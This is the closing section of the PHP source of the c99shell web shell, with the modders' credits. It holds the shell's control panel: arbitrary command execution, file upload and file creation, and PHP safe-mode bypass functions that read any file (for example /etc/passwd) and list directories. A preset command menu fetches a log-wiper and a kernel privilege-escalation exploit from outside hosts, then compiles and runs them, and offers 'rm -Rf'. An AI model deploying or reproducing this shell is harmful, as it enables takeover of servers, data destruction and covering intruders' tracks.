2939 | "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". |
---|
2940 | "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". |
---|
2941 | "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". |
---|
2942 | "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". |
---|
2943 | "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", |
---|
2944 | "ext_tar"=> |
---|
2945 | "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". |
---|
2946 | "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". |
---|
2947 | "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". |
---|
2948 | "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". |
---|
2949 | "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
---|
2950 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
---|
2951 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
---|
2952 | "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". |
---|
2953 | "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". |
---|
2954 | "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". |
---|
2955 | "u4tLAgEAOw==", |
---|
2956 | "ext_txt"=> |
---|
2957 | "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". |
---|
2958 | "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". |
---|
2959 | "UpPWG3Ig6Hq/XmRjuZwkAAA7", |
---|
2960 | "ext_wri"=> |
---|
2961 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". |
---|
2962 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". |
---|
2963 | "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", |
---|
2964 | "ext_xml"=> |
---|
2965 | "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". |
---|
2966 | "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
---|
2967 | "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". |
---|
2968 | "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". |
---|
2969 | "IQA7" |
---|
2970 | ); |
---|
2971 | //For simple size- and speed-optimization. |
---|
2972 | $imgequals = array( |
---|
2973 | "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), |
---|
2974 | "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), |
---|
2975 | "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), |
---|
2976 | "ext_html"=>array("ext_html","ext_htm"), |
---|
2977 | "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), |
---|
2978 | "ext_lnk"=>array("ext_lnk","ext_url"), |
---|
2979 | "ext_ini"=>array("ext_ini","ext_css","ext_inf"), |
---|
2980 | "ext_doc"=>array("ext_doc","ext_dot"), |
---|
2981 | "ext_js"=>array("ext_js","ext_vbs"), |
---|
2982 | "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), |
---|
2983 | "ext_wri"=>array("ext_wri","ext_rtf"), |
---|
2984 | "ext_swf"=>array("ext_swf","ext_fla"), |
---|
2985 | "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), |
---|
2986 | "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") |
---|
2987 | ); |
---|
2988 | if (!$getall) |
---|
2989 | { |
---|
2990 | header("Content-type: image/gif"); |
---|
2991 | header("Cache-control: public"); |
---|
2992 | header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); |
---|
2993 | header("Cache-control: max-age=".(60*60*24*7)); |
---|
2994 | header("Last-Modified: ".date("r",filemtime(__FILE__))); |
---|
2995 | foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} |
---|
2996 | if (empty($images[$img])) {$img = "small_unk";} |
---|
2997 | if (in_array($img,$ext_tar)) {$img = "ext_tar";} |
---|
2998 | echo base64_decode($images[$img]); |
---|
2999 | } |
---|
3000 | else |
---|
3001 | { |
---|
3002 | foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} |
---|
3003 | natsort($images); |
---|
3004 | $k = array_keys($images); |
---|
3005 | echo "<center>"; |
---|
3006 | foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} |
---|
3007 | echo "</center>"; |
---|
3008 | } |
---|
3009 | exit; |
---|
3010 | } |
---|
3011 | if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} |
---|
3012 | ?> |
---|
3013 | </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
---|
3014 | <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> |
---|
3015 | <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE> |
---|
3016 | <br> |
---|
3017 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
---|
3018 | <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> |
---|
3019 | <tr> |
---|
3020 | <td width="50%" height="83" valign="top"><center> |
---|
3021 | <div align="center">Useful Commands |
---|
3022 | </div> |
---|
3023 | <form action="<?php echo $surl; ?>"> |
---|
3024 | <div align="center"> |
---|
3025 | <input type=hidden name=act value="cmd"> |
---|
3026 | <input type=hidden name="d" value="<?php echo $dispd; ?>"> |
---|
3027 | <SELECT NAME="cmd"> |
---|
3028 | <OPTION VALUE="uname -a">Kernel version |
---|
3029 | <OPTION VALUE="w">Logged in users |
---|
3030 | <OPTION VALUE="lastlog">Last to connect |
---|
3031 | <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins |
---|
3032 | <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! |
---|
3033 | <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? |
---|
3034 | <OPTION VALUE="which wget curl w3m lynx">Downloaders? |
---|
3035 | <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO |
---|
3036 | <OPTION VALUE="netstat -atup | grep IST">Open ports |
---|
3037 | <OPTION VALUE="locate gcc">gcc installed? |
---|
3038 | <OPTION VALUE="rm -Rf">Format box (DANGEROUS) |
---|
3039 | <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) |
---|
3040 | <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 |
---|
3041 | <OPTION VALUE="./zap2">WIPELOGS PT3 |
---|
3042 | <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) |
---|
3043 | <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) |
---|
3044 | <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) |
---|
3045 | <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) |
---|
3046 | <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) |
---|
3047 | <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) |
---|
3048 | </SELECT> |
---|
3049 | <input type=hidden name="cmd_txt" value="1"> |
---|
3050 | |
---|
3051 | <input type=submit name=submit value="Execute"> |
---|
3052 | <br> |
---|
3053 | Warning. Kernel may be alerted using higher levels </div> |
---|
3054 | </form> |
---|
3055 | </td> |
---|
3056 | <td width="50%" height="83" valign="top"><center> |
---|
3057 | <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> |
---|
3058 | <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> |
---|
3059 | <input type="hidden" name="client" value="firefox-a"> |
---|
3060 | <input type="hidden" name="rls" value="org.mozilla:en-US:official"> |
---|
3061 | <input type="hidden" name="hl" value="en"> |
---|
3062 | <input type="hidden" name="hs" value="b7p"> |
---|
3063 | <input type=submit name="btnG" VALUE="Search"> |
---|
3064 | </form></center> |
---|
3065 | </td> |
---|
3066 | </tr></TABLE><br> |
---|
3067 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
---|
3068 | <tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> |
---|
3069 | <tr> |
---|
3070 | <td width="50%" height="83" valign="top"><center> |
---|
3071 | <div align="center">Php Safe-Mode Bypass (Read Files) |
---|
3072 | </div><br> |
---|
3073 | <form action="<?php echo $surl; ?>"> |
---|
3074 | <div align="center"> |
---|
3075 | File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> |
---|
3076 | |
---|
3077 | |
---|
3078 | |
---|
3079 | |
---|
3080 | |
---|
3081 | |
---|
3082 | <? |
---|
3083 | |
---|
3084 | function rsg_read() |
---|
3085 | { |
---|
3086 | $test=""; |
---|
3087 | $temp=tempnam($test, "cx"); |
---|
3088 | $file=$_GET['file']; |
---|
3089 | $get=htmlspecialchars($file); |
---|
3090 | echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; |
---|
3091 | if(copy("compress.zlib://".$file, $temp)){ |
---|
3092 | $fichier = fopen($temp, "r"); |
---|
3093 | $action = fread($fichier, filesize($temp)); |
---|
3094 | fclose($fichier); |
---|
3095 | $source=htmlspecialchars($action); |
---|
3096 | echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; |
---|
3097 | unlink($temp); |
---|
3098 | } else { |
---|
3099 | die("<FONT COLOR=\"RED\"><CENTER>Sorry... File |
---|
3100 | <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have |
---|
3101 | access.</CENTER></FONT>"); |
---|
3102 | } |
---|
3103 | echo "</div>"; |
---|
3104 | } |
---|
3105 | |
---|
3106 | if(isset($_GET['file'])) |
---|
3107 | { |
---|
3108 | rsg_read(); |
---|
3109 | } |
---|
3110 | |
---|
3111 | ?> |
---|
3112 | |
---|
3113 | <? |
---|
3114 | |
---|
3115 | function rsg_glob() |
---|
3116 | { |
---|
3117 | $chemin=$_GET['directory']; |
---|
3118 | $files = glob("$chemin*"); |
---|
3119 | echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; |
---|
3120 | foreach ($files as $filename) { |
---|
3121 | echo "<pre>"; |
---|
3122 | echo "$filename\n"; |
---|
3123 | echo "</pre>"; |
---|
3124 | } |
---|
3125 | } |
---|
3126 | |
---|
3127 | if(isset($_GET['directory'])) |
---|
3128 | { |
---|
3129 | rsg_glob(); |
---|
3130 | } |
---|
3131 | |
---|
3132 | ?> |
---|
3133 | |
---|
3134 | <br> |
---|
3135 | </div> |
---|
3136 | </form> |
---|
3137 | </td> |
---|
3138 | <td width="50%" height="83" valign="top"><center> |
---|
3139 | <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> |
---|
3140 | <div align="center"><br> |
---|
3141 | Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> |
---|
3142 | |
---|
3143 | </form></center> |
---|
3144 | </td> |
---|
3145 | </tr></TABLE><br> |
---|
3146 | <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> |
---|
3147 | <tr> |
---|
3148 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td> |
---|
3149 | <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> |
---|
3150 | </tr> |
---|
3151 | </table> |
---|
3152 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> |
---|
3153 | <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td></tr></table> |
---|
3154 | <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> |
---|
3155 | </body></html><?php chdir($lastdir); c99shexit(); ?> |
---|